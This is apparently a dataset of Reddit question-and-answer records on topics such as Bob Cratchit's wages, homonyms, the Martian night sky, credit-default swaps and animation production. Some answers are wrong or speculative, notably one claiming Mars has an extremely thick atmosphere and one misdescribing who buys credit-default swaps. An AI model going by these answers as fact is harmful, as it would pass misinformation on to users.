{"q_id": "a6kyz5", "title": "How far did Bob Cratchit's 15 shilling per week wage get him? Did Scrooge pay a high or low wage for his time?", "selftext": "There as an earlier[Askhistorians  answer](_URL_2_) by /u/PLJVYF, that characterized Cratchit's wages as fairly low for an educated professional in the Victorian era.\n\nOn they other hand, I've found a two [other](_URL_1_) [articles](_URL_0_), that claim it was actually fairly high. I understand that those two seem to have a somewhat libertarian, pro-free-market bent and don't seem to have been written by proper historians. But they make the point that the average wage for a clerk at an accounting house was 11 shillings, six pence a week, and that Cratchit would have made significantly more than a lot of the urban poor in Victorian England.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a6kyz5/how_far_did_bob_cratchits_15_shilling_per_week/", "answers": {"a_id": ["ebvvee9", "ebxghod", "ebxgwuh"], "score": [46, 85, 50], "text": ["I love this question.  Here is another post with responses from a few users on the subject: \n\n_URL_0_\n\nHat tips to:  /u/CardCarryingOctopus and /u/klawehtgod", "The previous answers are wrong (Update: *This statement was made before* /u/mimicofmodes *answer*). They assert (ridiculously) that there was virtually no inflation during the 19th century and uses that to justify comparing Cratchit's wage to the wages of someone several decades later (one as late as 1888!). Even if we accepted there was no inflation (there was), the 19th century was a time of wage growth. The simple use of the converter is also suspect. It'd a bit like claiming you can compare 1972 salaries to 1925 salaries because the US dollar is on the gold standard. Yes, the person working in 1925 would be underpaid by 1972 standards. But they were living in 1925!\n\nSo, how far did Cratchit's 15 shillings a week (39 pounds a year) go? Was it a good wage, a fair wage, starvation wages?\n\nNow, let's start with the obvious. Cratchit and Scrooge did not exist and Dickens was not a businessman who knew the intimate details of running a business. Everything about the Scrooge-Cratchit relationship is thus constructed to serve Dicken's points in the novel.\n\nBecause of that, the libertarians are somewhat more correct but are ignoring that moral message. Scrooge is, through visions of the past, contrasted with two other businessmen: Jorkin and Fezziwig. Fezziwig is honest, scrupulous, and more than a little incompetent at running his own business. He's also unfailingly kind and caring towards his employees and generous and charitable and shows all the signs of Christian love that Dickens wants to encourage. Jorkin is the opposite. Jorkin is not a good businessman *or* a good person. He is a liar, a cheater, someone who puts personal profit first, corporate profit second, and his workers, suppliers, etc as a distant third. This leads him to drive the business into the ground (though he gets out with a good sum of money).\n\nDickens contrasts both these characters to bring Scrooge into a more specific light. Scrooge is not Jorkin. He is scrupulously honest, has never lied or cheated anyone, always pays on time and fairly, obeys the law, gives his employees government mandated vacations (with some grumbling). He's also not Fezziwig. His relationship with Cratchit is strictly businesslike. He has no interest in him as a person or his family or in spreading cheer to his employees. His rather crotchety position is that he pays them for their work. Why should he have to do more?\n\nDickens takes *pains* to point out that Scrooge is not lying or lacking in a merchant's virtues. The very first lines in the novel are about how Scrooge is so honest and fair that when he declares something to be true everyone, even the good characters in the novel, can have no doubt it is true. Scrooge is the man who expels the exploitative Jorkin and keeps the company from going under (with Marley). Dickens also shows that Scrooge is almost always in the legal right with his disputes. He is threatening to evict a couple on Christmas day... but they really haven't paid their rent. Even they admit it's a little wrong to feel good at his death because they really did owe the rent and Scrooge was a human being. His employees steal from him after his death *but this is still stealing.*\n\n*A Christmas Carol* is not about the deserving poor and the wealthy miser who refuses to help them. It is about the emptiness of mercantile values without Christian ones. It is certainly a good thing, in Dicken's opinion, that Scrooge is an honest businessman. But it's not enough to save him from Hell. To do that, he must also show Christian virtues. And even neglecting them without actual hostility is enough to have his greed drag him down to hell. That is the lesson of a Christmas Carol and why it was so shocking at the time. Not because Victorians had no sense of the exploitative rich but because *A Christmas Carol* posits that if you don't go out of your way to help people, you are a bad person.\n\nWithin that relationship, how are Cratchit's wages? Maybe you can guess. They are fair, the market going rate, but not generous. The book is set in 1843. Forty pounds a year would have been the pay of a mid-level civil servant, a high level tradesman, or an early career skilled professional. It would have put Cratchit almost exactly in the top 20% of England by income. The equivalent percentile today would be 40,000 pounds in Britain or $80,000 in the United States. This isn't a one to one comparison, but it gives you some idea of whether the wage was high or low relative to other work. It also shows you how Cratchit (with seven children and living in London) was probably stretching his living.\n\nBut this is again part of the contrast Dickens is setting up. Cratchit has need of help because of his large family. A mercantile minded person might point out his need does not mean he deserves higher wages. It's certainly not Scrooge's problem either: they aren't *his* kids. But Scrooge is, by Dicken's belief in Christian love, obliged to give him help.\n\nAnd this is what he does in the epilogue: becoming like a second father to Cratchit's family. Perhaps that included monetary help but it was not a matter of just raising Bob's salary. Indeed, Scrooge's actions after he wakes up mostly show that he doesn't feel very much guilt about how he runs his business. He lets some tenants stay in their home while they scrape together the rent. He gets a Christmas feast. He surprises the family of one of his workers and gives them gifts. Scrooge is using his money and influence to help people but he doesn't reform his business fundamentally because he's not Jorkin. He never was.\n\nIn short, the pro-Scrooge articles are missing that *A Christmas Carol* is a satire of exactly who they are. The sort of person who would defend the pre-reform Scrooge is probably the sort of person who'd agree with Scrooge's defense of himself before the ghosts. He was fair to his employees but Christian charity means being better than fair.\n\nSo was Scrooge paying high or low for his time? He was paying fairly close to average for what Cratchit did. How far did Cratchit's wage get him? Fairly far, but with the number of children he had, and where he lived, he probably still felt the pinch. Enough that he tried to find his children work to help out. His salary was roughly equivalent to 40,000 pounds or 80,000 dollars in terms of income percentile. Another way to look at it: his children are able to get roughly a third of his salary (five shillings a week) from being educated but without his experience.\n\nFrom *Sentimental Realism, the Cambridge Companion to Charles Dickens, Charles Dickens, London in the Age of Dickens,* and *The Annotated Christmas Carol*.", "I admit, I had to laugh when reading the first article, with quotes from Bruce Bueno de Mesquita:\n\n > \u201cIf you read the actual hard economics in 'A Christmas Carol,'\u201d says Bueno de Mesquita, \u201cDickens portrays Scrooge as a man who was generous to a fault.\u201d\n\n > \u201cBut Ebenezer didn\u2019t fire Bob. He kept him on. He was a very good man,\u201d says de Mesquita. \u201cHe\u2019s misunderstood.\u201d\n\nGiven that the entire point of the book is that Scrooge has *not* been acting like a good or generous man, one has to wonder what would draw someone to say that Dickens deliberately subverted said entire point by making it clear to the original readers, who knew the value of 15s in the 1840s, that the Cratchits are actually very comfortable. But we have to dig beyond the immediate risibility to find the truth.\n\nAll things are relative. In 1842, the year before *A Christmas Carol* was published, the average wage among agricultural laborers in Herefordshire was seven to nine shillings per week;^1 in the 1830s, female workers in the Essex textile industry were bringing home three to seven shillings per week, while children might get as little as one shilling sixpence or two shillings.^2 In the latter case, even commentators at the time found this state of affairs shocking, and noted that the cost of living for these women was actually higher than in London. These are all worse wages than fifteen shillings per week, obviously.\n\nBut what was the usual rate of pay for a clerk in an office? Fifteen to eighteen shillings per week was suggested as the average wage for an attorney's clerk of 19-25 years of age, in an article from an 1851 periodical, rising to eighteen after that and perhaps eventually to twenty-five or thirty.^3 Said article, however, is scathing about the injustice of this rate of pay, and the fact that a worker like this earns so much for the employer over the course of a year but is treated with contempt and suspicion, with the threat of dismissal hanging over his head if he should ask for a raise or get sick. Essentially, this is the situation Dickens portrays. It is quite likely that Dickens's intention was not to say, \"Bob Cratchit has it much worse than other office clerks,\" but \"office clerks, as a class, are mistreated and underpaid, and here is one representative of that issue.\" (It is, after all, widely understood that Dickens critiqued problems in society by portraying an individual dealing with them. Oliver Twist stood in for orphans in the workhouse system, Smike is a different subset of unprotected orphans, Dotheboys Hall is every unregulated and abusive Yorkshire boys' school, Jo is every child street-sweeper.) I'd be interested to know where Bruce Bueno de Mesquita got the figure that the average wage for a clerk in a counting-house was 11/6, because I'm not finding it anywhere. (Maybe it involves averaging out the wages of the youngest boys, who didn't make enough to support themselves, with the most senior clerks?) \n\nBoth articles fixate on the spending of the Cratchit family around Christmas:\n\n > \u201cBob Cratchit owned a home. The Christmas feast that the Cratchits had was quite expensive. They had a bowl full of oranges, which were the most expensive imported fruit in London in the winter 1843. And Bob Cratchit had enough money to have 15 rounds of gin punch, and enough goose to feed the entire large family,\u201d says de Mesquita.\n\n > Christmas grew in popularity during the Victorian era as a time of feasting and a time for those of stature to show their affluence. During the Victorian era, Christmas was more about food than about giving gifts and the Cratchit family is determined to show that they know how to keep Christmas. The Cratchits buy a beautiful goose and then admired it for its cheapness.\n\nLet's look at the text itself, in the vision provided by the Ghost of Christmas Present:\n\n > There never was such a goose. Bob said he didn't believe there ever was such a goose cooked. Its tenderness and flavour, size and cheapness, were the themes of universal admiration. Eked out by apple sauce and mashed potatoes, it was a sufficient dinner for the whole family; indeed, as Mrs Cratchit said with great delight (surveying one small atom of a bone upon the dish), they hadn't ate it all at last! Yet every one had had enough, and the youngest Cratchits, in particular, were steeped in sage and onion to the eyebrows. \n\nIt's quite clear, if you can manage basic verbal irony, that the goose is not very large, and that both parents and the six children get a portion but mainly the dinner is apple sauce, mashed potatoes, and stuffing. This is not a big fat goose, but the cheapest and smallest they can get that has enough meat for all eight to get a piece. Then we have the pudding:\n\n > Oh, a wonderful pudding! Bob Cratchit said, and calmly, too, that he regarded it as the greatest success achieved by Mrs Cratchit since their marriage. Mrs Cratchit said that now the weight was off her mind, she would confess she had her doubts about the quantity of flour. Everybody had something to say about it, but nobody said or thought it was at all a small pudding for a large family. It would have been flat heresy to do so. Any Cratchit would have blushed to hint at such a thing.\n\nSimilarly, they cannot afford enough ingredients for Mrs. Cratchit to make a sizable Christmas pudding, but they are happy with it because it's a treat and it was made for them with love.\n\nThere is no mention of a bowl *full* of oranges, but the narrator does say that \"apples and oranges were put upon the table\". I cannot find specific costs of apples and oranges in this period, but a number of arithmetic books put them as relatively equivalent, just a few pence apiece. Oranges were not hideously expensive, certainly not the most expensive fruit - some estimated that 100 million of them were imported via steamship from the tropics per year, with a quarter sold on the street and in theaters (yes, there were \"orange-girls\" who just sold oranges, and they were not making a lot of money doing it).^4 They were a nice treat and traditional for Christmas, but this does not represent a huge expenditure. And as for fifteen rounds of gin punch, I can't find where this comes up in the text, but I will say that gin was a notoriously cheap form of alcohol.\n\n(cont'd)"]}, "title_urls": [], "selftext_urls": ["https://www.marottaonmoney.com/why-is-bob-cratchit-so-poor/", "https://www.marketplace.org/2012/12/21/life/scrooge-generous-fault", "https://www.reddit.com/r/AskHistorians/comments/1i3c5x/how_good_of_a_job_did_bob_cratchit_have/cb0nk7d"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/5hdzva/in_a_christmas_story_bob_cratchit_earned_15/"], [], []]}
{"q_id": "66p94r", "title": "why do languages have homonyms?", "selftext": "Bat and bat, mu\u00f1eca and mu\u00f1eca. I'm sure there are a ton more in all languages, but why? Did we run out of words so we have to start using some twice? Note, this is not homophones, which sound the same (raise, raze, rays), but homonyms, so the exact same word.\n\nEDIT: Also, [this is a fun list](_URL_0_).", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/66p94r/eli5_why_do_languages_have_homonyms/", "answers": {"a_id": ["dgk6q1v", "dgki41q", "dgkkya4", "dgkumq4", "dgkwchr", "dgl5miz"], "score": [209, 43, 5, 2, 2, 7], "text": ["There are two ways for a single word to have multiple meanings:\n\n* One word branched off in the past and the connection between the different meanings is now secondary or obsolete.\n\n* Two different words converged on the same sound by coincidence.\n\nThe word \"hard\" is an example of the first: It can mean strong/rigid, or difficult.  The concepts are related - it's *difficult* to break something that's strong and rigid - so it's an example of a single word with divergent meaning.\n\nAnother example of the first would be \"book.\"  Someone makes a reservation, the reservation was recorded in a book, ergo they \"booked\" the reservation.  Reservations today are not typically recorded in books, but they're still booked.\n\nThe second (convergence of multiple words) usually happens with simple words - especially ones that are a single syllable.  An example would be \"mole\", which converged from different roots describing either a blemish on skin or a burrowing animal.  There's a bunch of other meanings too.", "Technically I believe the description you are looking for is homographic homophonic antonyms, meaning words that are spelled the same, sound the same, but have opposite meanings. Others have taken stabs at explaining why this happens, but it is still weird as heck. \n\nfor instance, dust. \n\ndust can mean the actual physical particles that accumulate upon things. \n\nor it can mean the removal of particles from things. (as in to dust the counter top).\n\nor it can mean to put particles of stuff onto things (as in to dust crops). \n\nI'm sure people learning English find it annoying, but i think it is kind of cool. ", "Languages aren't invented by a committee of people drawing up a list of possible words and then deciding what meanings to assign to them. So no, we don't \"run out of words\": languages evolve spontaneously according to rules we can discover, but not according to any conscious logic. As others have pointed out, homonyms just sort of happen, often by coincidence.", "You can see more clues about why this happens in languages other than English. Agglutinative languages have many words that appear to have two meanings, but are actually different words whose nominative forms have evolved to be the same. These words might conjugate differently, which then reveals that the root words are actually different.\n\nSo some forms of a word might appear the same, but in any given language a word is more than just the appearance or one form of the word; it comes with a root and usually multiple forms, sometimes gender and so on, which can differ even if one form of a word appears the same as another word.", "\"Fast\" is especially amusing. You can fasten something tight. You can go fast. Or you fast for the day! \nHence the origins of the word \"break-fast\".\nI fucking love breakfast. ", "I still feel like no one has answered his question. Specifically the \"bat and bat\" example.  There is \"bat\" the animal; there is \"bat\" to swing and knock something down; and there is \"bat\" as in a baseball bat. The last two make sense (to bat something is to swing at it and try to knock it down, a baseball bat is used to swing and hit a ball). But neither have anything to do with \"bat\" the animal. Everyone here is concentrating on words that may have opposite meanings but are still related to each other, like \"dust\" and \"hard\". "]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/List_of_true_homonyms"], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "2as299", "title": "what exactly is a major in women's and gender studies?", "selftext": "I know that this is a more versatile degree than people think. I've heard it can be used for a job in marketing, writing, PR, and other general humanities jobs, but what exactly will you be in expert in with this degree? \n\nIt seems like an odd major. Not just because that it's use isn't readily apparent, but because MOST colleges seem to offer it. A lot of liberal arts degrees seem to be kind of hit or miss when it comes to which universities offer them, but WAGS seems to be a constant. \n\nSo... what is it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2as299/eli5_what_exactly_is_a_major_in_womens_and_gender/", "answers": {"a_id": ["ciy6grj", "ciy77iw", "ciy8kiq", "ciy9ybc", "ciybb8n", "ciybo0q", "ciyc1vh", "ciycmhf", "ciynk42"], "score": [33, 42, 4, 108, 36, 14, 4, 8, 8], "text": ["To be fair, getting a degree in ANYTHING will help you get a job in those fields. ", "It's basically critical thinking, and learning to question everything you're taught so that it has to survive on its own merit, instead of just 'this is how it's always been'. It also focuses on how an experience fits into a culture or society as a whole, and how gender, race, culture, wealth, and other factors shape our viewpoint. It's like a little psychology, a little anthropology, and a little social engineering. ", "Hey everyone, just a friendly reminder, *replies directly to the original post must contain some sort of impartial explanation.* [Rule-breaking](_URL_0_) comments will be deleted. There are enough rule-breaking comments popping up like moles in whack-a-mole here that they may be removed without warning. ", "There is a perception, particularly among feminist groups in the West, that a female perspective on all subjects (history, philosophy, economics, political science, psychology, sociology, geography, etc.) is lacking.\n\nWomen's studies is a broad category of studies that reinterprets these subjects and others through the lens of gender.", "I did my graduate studies on gender and psychoanalysis, so I'll try to give an explanation to your question based on my experience, conversations I had with undergraduate students I taught, and the experiences of other graduate students I know.\n\nI'll begin with two caveats: below I'm referring to students to take Gender / Women's Studies as a *major*; students who take those classes as one-off classes have entirely different motives.  Also, as with any undergraduate degree, one will almost never be considered an \"expert\" in anything after a four-year degree; that level of mastery requires further research and training either in the workplace or at the graduate level.\n\nMany students take Gender/Women's Studies as a major for two reasons: firstly, they are interested in learning about something that is, for the most part, omitted in high school.  G/WS offers students a unique and directed way of interpreting history and culture that is often only sampled in other disciplines.  You might be able to take a \"Gender and Law\" class in a Law faculty, or a \"Gender and Economics\" class in the Business department, but if you are interested in learning about how gender works in a more varied way, concentrating on it though a G/WS major might be for you.  W/GS departments usually offer classes that deal with a variety of subjects (e.g. religion, history, language, politics, etc.) and that use particular theories as frames of reference.\n\nSecondly, students often major in G/WS as a way to develop their research, writing and analytical skills in a diverse way.  Because the program is so laden with writing assignments about a variety of subjects, students who major in it like how they learn how to write about different topics through a focused lens.  These students are interested in careers in which they plan to write extensively, so G/WS programs appeal to them.  Because these programs deal with such a number of different issues, students are required to become familiar with researching information from different fields of study.\n\nAs to the second part of your question, schools offer majors in G/WS for far, far different reasons.  You are right that most liberal arts universities offer G/WS programs.  They do this politically. W/GS programs do not bring in the number of students that other programs do, nor do they garner as much external research funding.  They have in the past, however, deflected some concerns about sexism in universities, and are useful to have on university web sites for inclusivity/diversity reasons.\n\nI hope this was helpful!  Please let me know if there is anything here that I could be clearer about.", " > what exactly will you be in expert in with this degree?\n\nLike most undergrad degrees, nothing. What the degree holder will have is a greater understand of gender roles in society, history through the lens of women and how gender politics have impacted society and continue to impact society. It's more of an 'understanding the world better' degree than a degree that gives a specific skill. ", "It would help you get a job in the way that any degree would in increase your chances I a professional job.  As a technical worker it wouldn't buy you a cup of coffee in my industry but neither would many other degrees.", "Dude, just read any university's program description if you're really interested. You probably aren't interested though in an honest answer. You probably just want to stir the pot. But in the small chance you are not a troll, here is how the department at UCLA describes Gender Studies,\n\n > [Gender Studies] is an interdisciplinary and multidisciplinary department that provides the unique opportunity to study culture and society from multiple intersecting perspectives that would not be possible within any single discipline. Our faculty use innovative interdisciplinary approaches derived from their research for explaining the complexities of gender relations that influence students\u2019 own lives and structure every aspect of the world around them. We offer elective courses in the Gender Studies department as well as many courses cross-listed in other departments, providing our majors with the opportunity to select from a wide range of interdisciplinary and disciplinary offerings. Our students emerge from the program with a deeper knowledge of human behavior and social relations, the ability to conduct themselves effectively in diverse workplaces, and the skills and training for pursuing a wide range of careers.", "Ok, lets ask the real question here.\n\nRedditor's who have a Woman's/Gender Study degree, do you have a job actually worth mentioning, and if so what is it and how has said degree contributed to bettering the company you work for/own?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/explainlikeimfive/wiki/rules"], [], [], [], [], [], []]}
{"q_id": "woe3f", "title": "Does a Martian night sky look similar to our own?  Do stars appear brighter since the atmosphere is thinner with less light, or are they substantially dimmer because of the dust?", "selftext": "I'm riding the curiosity hype train right now.  I know the colors in the pictures we get from Mars usually have false colors, but it always seems that visibility is usually slightly less than earth's, even though the atmosphere is thinner.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/woe3f/does_a_martian_night_sky_look_similar_to_our_own/", "answers": {"a_id": ["c5f25hx", "c5f3ivw", "c5f4qor"], "score": [25, 4, 5], "text": ["Astronomy undergrad here. Because of the extremely thick atmosphere of Mars, scientists assume that it would look something like [this.](_URL_0_) The dust, for reasons that are yet to be discovered, seems to have little effect on the overall visibility of the universe. Pretty spectacular view there!", "Are there no pictures at all of the Martian night sky from the surface? ", "[Here you go](_URL_0_), this Wikipedia article should give you all the information you need, and you can follow the links  &  references for more detailed information."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://images.astronet.ru/pubd/2007/12/25/0001225289/monument_pacholka800.jpg"], [], ["http://en.wikipedia.org/wiki/Astronomy_on_Mars"]]}
{"q_id": "r1gxf", "title": "How long does it take for a cell to metabolize a glucose molecule to ATP? (In humans)", "selftext": "I always read how many ATPs are usually produced by a glucose molecule, but I never found out how long it actually takes. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r1gxf/how_long_does_it_take_for_a_cell_to_metabolize_a/", "answers": {"a_id": ["c425i7g"], "score": [3], "text": ["The steps to metabolism of glucose are:\n\n1) Digestion.\n\n2) Absorption from the intestines  &  transport to cells via blood.\n\n3) Glycolysis  &  Krebs cycle.\n\n4) Electron transport chain.\n\nSteps 1  &  2 required energy input, while steps 3  &  4 generate net ATP.\n\n---\n\nAs for time frame, I'm not sure but these are my estimates:\n\nStep 1: can take hours.\n\nStep 2: I think takes a few seconds.\n\nSteps 3  &  4 I think both take less than a few seconds once glucose is in the cell.\n\nSomebody please correct me if I'm wrong."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7xg1ia", "title": "it is said that you (with no outside help) can not swing above the bar on a swing set. is this true or false and why?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7xg1ia/eli5_it_is_said_that_you_with_no_outside_help_can/", "answers": {"a_id": ["du81go8"], "score": [11], "text": ["You can. However, because of the circular motion the swing makes around the bar as soon as you pass it, you would fall straight down instead of following the pre-bar curved path you had originally been on. This weird phenomenon is called gravity. You can mimic the movement by swinging an object tied to a string in circles. If the movement stops anywhere above the center point the string is attached to the object on the string will fall straight down. You might be able to go a foot or two and take a little bit of roughness after landing on the path again, but any more and you risk more damage. \n\nOne thing to note though, if the swing was tied to metal poles that rotate around the bar, then you could go higher without any problems since the metal poles would lock the swing in place as you rotate around the bar. As seen here. \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=wxBHYCyK3Ow"]]}
{"q_id": "j2lom", "title": "what is a credit-default swap? and why has this buggered up the united states economy so much? (i have seen \"inside job\", need more simplistic explaining)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j2lom/what_is_a_creditdefault_swap_and_why_has_this/", "answers": {"a_id": ["c28mvub"], "score": [2], "text": ["A credit default swap is insurance an issuer of debt can use in case of default. It allows them to borrow money at a lower interest rate because investing in them becomes less risky. They pay a small fee to the credit-default swap provider in return."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3hza17", "title": "why is orange juice, at least in the u.s., considered a morning thing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3hza17/eli5_why_is_orange_juice_at_least_in_the_us/", "answers": {"a_id": ["cubyhsa", "cuc13lw", "cuc15px", "cuc2j3p"], "score": [27, 14, 3, 5], "text": ["Marketing basically.\n\nDecades and decades of TV ads hammering home the idea that if you want to be seen as a normal successful member of society, you drink orange juice in the morning.", "Prune juice used to be the most popular juice in the USA. The citrus growers hired an advertising firm that did surveys and found that about 70% of juice was consumed in the morning. They marketed Orange juice as THE morning juice to increase demand. The prune market never recovered.", "Because the agriculture industry funneled enough money into the FDA'S ASSHOLE, so now people think juice is \"healthy\" since our government tells us to drink sugarwater when we wake up.", "It's because orange juice tastes the best when you drink it just after you've brushed your teeth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1hxq20", "title": "Seeking sources about Christianity and Syncretism", "selftext": "I have a lot of background about the history of Christianity, and am curious about its early evolution in Europe. Specifically, I ran across a brief description of Notre Dame cathedral in Paris and about the original Madonna statue they had - a \"black Madonna\" which actually originated as a pagan fertility symbol. Furthermore, I know a lot about the Protestant Reformation and the subsequent Council of Trent, and how the worship of saints was criticized for various reasons. It struck me that some of those reasons made it seem as if those saints were being revered like demigods. Are there any good sources about the incorporation of pagan symbols/figures as Christian saints? Thanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hxq20/seeking_sources_about_christianity_and_syncretism/", "answers": {"a_id": ["caz1j1z"], "score": [6], "text": ["Peter Brown's *Cult of the Saints* is the classic work on the development of saints' cults in the early middle ages.  It's excellent.\n\nJ.Z. Smith's *Drudgery Divine* is the most important book to read before discussing syncretism and early Christianity.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4mhwge", "title": "if animation movies take years to make, how do they always manage to have the latest gadgets, relevant jokes, and other things like that?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mhwge/eli5_if_animation_movies_take_years_to_make_how/", "answers": {"a_id": ["d3vmota", "d3vmrty", "d3vnxyz", "d3vs2z0", "d3vs5jq", "d3vsbbu", "d3vsi29", "d3vt0ix", "d3vt62y", "d3vt7w0", "d3vtk7r", "d3vtxny", "d3vw9s8", "d3vwqtm", "d3vwr5w", "d3vwrgn", "d3vyxbi", "d3vz8os", "d3vza4a"], "score": [1005, 810, 5, 62, 31, 9, 33, 3, 10, 2, 24, 2, 3, 2, 2, 3, 4, 2, 3], "text": ["Yes, they take years to make, but they are not \"locked down\" from day one. The process is flexible enough to allow for last-minute changes. ", "Yes and no. During the course of production, there's time to rewrite jokes and add or subtract things from the movie. There's even time to upgrade the systems rendering the movie, as long as the visual style remains unaffected.\n\nAs far as games go, developers start out by figuring out when the game will release, and then design the game to work on the average computer at that time. So developers are building the game to run on above average computers at the start of the project, so that by the time the game is done, it's ready to be played by the average person. For console games it's even easier, as the hardware is very unlikely to change, so only software tweaks can be expected. \n\nLike movies, there's time during development to make changes, update tools, and just generally keep pace with the industry.", "its all about the render (final high quality image). movies (and games) like that Zootopia are made in a virtual 3d environment (an engine) and the final move is only rendered once at the time of release on current hardware. the same with games, games are mostly only rendered when you play them.  while plot is in place years in advance the virtual environment technology can evolve to the current level of technology as the movie is developed. May things limit the look of a game or movie, the way the engine processes light, reflection, mist,water,cloth or the maximum polygon count. all those things for a movie is fluid right up till time of release. \n_URL_0_", "For games (since you mentioned uncharted), the game engine is what the game is shaped around but it itself does not provide any sort of playable game. If it's bleeding edge or even a modified engine licensed to the developers, this is the first building block. Once that's made, actual game development picks up and is flexible. Think first making the Skyrim game engine versus simply using the construction set, adding audio, dialog, etc.\n\nEdit: To put another way, making the game engine is making your white canvas (size of canvas, etc.),  and getting your paints and brushes ready with nothing actually made. Once done, painting is making the game limited by the paints and brushes available, the size of the canvas, and finally the skill of the artist.\n\nMaking a construction set (Valve Hammer Editor, TES construction set) is like building a robot or having Bob Ross there to paint what you tell it to paint. This is like working with prefabricated build-a-home kits versus cutting the trees down for lumber and forging the nails yourself.", "A lot of times when animated movies or cartoons slip in relevant jokes or topical references, it's meant to just be something that the audience gets but to which the other characters within the movie don't actually need to respond.\n\nSo it's more of an inside joke between the screenwriters and the viewers, and it is okay for it to more or less pass over the heads of the other characters within the actual movie.  In that case, it may literally be as simple as changing one line in the script.  You may not even need to change the animation for the mouth movement of the character speaking.  Just change the audio.  Easy.\n\n(Gadgets may be a bit more difficult, as you would definitely need to change the animation, but not necessarily the animation for the entire shot, and you probably don't need to change *that many* shots.  If the gadget was really important to the story and showed up all the time and changing it would necessitate changing the reactions of the other characters then you just wouldn't change it unless you had a *really* compelling reason - like compelling enough that it's okay to spend a lot more time and money to make adjustments to a large proportion of shots and a significant part of the script.)", "For animated movies (and games as well), the biggest time sink is preproduction. During this time, they're not just writing the script, they're also researching the topic (animals, locations, etc), working on concept art for every single thing that will appear, character designs, etc. They're building the environments, character models, rigging, and animation tests. On top of this, they're also developing the software, tech and workflows to achieve the look and feel they want. Most animated movies use cutting edge technology; they're literally inventing shit as they go, and they and other companies will use that for several years until the next leap. \n\nActual production is relatively easier, as all their bases are covered. Here, the process is much more organic and things can be changed as they see fit. Don't like that scene? They can rewrite it and animate it again over the next week or two. Digital animation is far quicker than traditional animation (but with its own set of issues). Since they're no longer drawing every single frame by hand, they can churn out a surprisingly large amount of work quickly. For example, one of the first animation studios I worked at expected animators to create 30 seconds of animation daily. That would have taken days/weeks working traditionally. \n\nTL;DR: they use cutting edge tech; preproduction ensures production is smooth and can handle changes; digital animation takes less time to animate", "I'm a rendering software engineer at one of the major feature animation houses.\n\nTopical gags are added late in the movie's process. Things are still being edited at the last minute.\n\nAs for the technology, yes, it's several years old. The films will update the technology in the early phases of development, but at some point a year or two out, they will lock down on the software versions. They don't want their process to break suddenly with new software updates. We do have to patch these old versions of software for the shows, if they encounter a bug they cannot work around. The bug fix has to be simple, and it has to be approved by the show's management before it's approved to be put on the show's software.", "People seem to be focusing on the animation bit, but as far as how they add the \"latest\" gadgets, you need to realize that most of the time developers will announce their products ahead of time. So while the story and general feel of the movies are worked out for the first part of the process, when it comes time to animate in the gadgets, they can model it after rumored or newly announced devices.\n\nIf you take the phones in Zootopia for instance, one is clearly an Apple iPhone with a carrot in the back... Well for the last two versions of the iPhone (6 and 6s) the style was the same. That means that from the announcement of the 6 through at least the announcement of the 7, the model used for that animated phone will still look relevant.\n\n*Edited for clarity.", "I work for a major animated show. It takes about 10 months to roll out one episode. The most time consuming portion is during the storyboarding phase; figuring out the blocking of the characters and the pacing both in the writing and editing. These are all figured out before the episode even starts animating. We take months making a rough animatic first that is constantly given temp audio and placeholder lines while we go through rewrites. Once it comes back from animation, we can still easily change lines of dialogue upwards of a few weeks before air by dropping in new lines, adjusting the characters lip positions and if needed reanimating their body movement if they say something that demands they move differently. Digital animation has made small tweaks very easy.", "I've worked on over 10 animated films. For a CG animated movie it generally breaks down to 3 years, more or less: 1 year designing and storyboarding, 1 year building the characters and the sets, and 1 year doing the animation and rendering. So most of the time is spent getting ready for animation, the actual movie comes together fairly quickly like assembling a car. Which is how I was able to do 10 films in 12 years instead of 30+.", "So a lot of answers here are kind of off base. I've worked on 4 animated features and quite a few VFX films so let me take a stab at answering your question. I'll break it up into two parts.\n\n## Story (Jokes, references etc...)\n\nSo for movies, when they say it takes 3-5 years to develop, or longer, that's usually including preproduction time. This is time that the movie isn't in go mode. Games are roughly the same but the timeline is different.\n\nBasically during this time, the writers are writing the scripts, running it by executives, doing feasibility studies etc. When it passes the first round of discussion it moves on to storyboarding and concept art. This is roughly 2 to 2.5 years before release.\n\nStoryboarding happens, concept art happens and models start to be made. This is roughly 2 to 1.5 years before the release of the film.\n\nWhat's important to note is often, they're only storyboarding parts of the film at that time and animation starts on just those parts. Movies often change up till the very last moment and the departments work simultaneously.\n\nWhen we worked on Life of Pi, we pretty much delivered it the day it screened. On Hotel Transylvania 2, we'd have rewrites and changes till the last month of the production schedule.\n\nSo a movie isn't locked down till near the very end.\n\n\n\n## Technology\n\nWhen working on a film or a game, we're literally working on technology till the very last moment.\n\nThe game engine on Uncharted didn't work amazing on Day 1, for a somegames it's not even till the final months of production that the engine can do everything it needs too.\n\nIdeally what happens is that the technology team and the art team communicate and say: \"Hey I need this feature to do my job as an animator\" and dev can start focusing on that, or \"Hey we're developing this technology, maybe you can find a use for it\"\n\nTo be clear to my role on the films I work on, I do the cameras and  layouts of the CG sets, but am primarily a 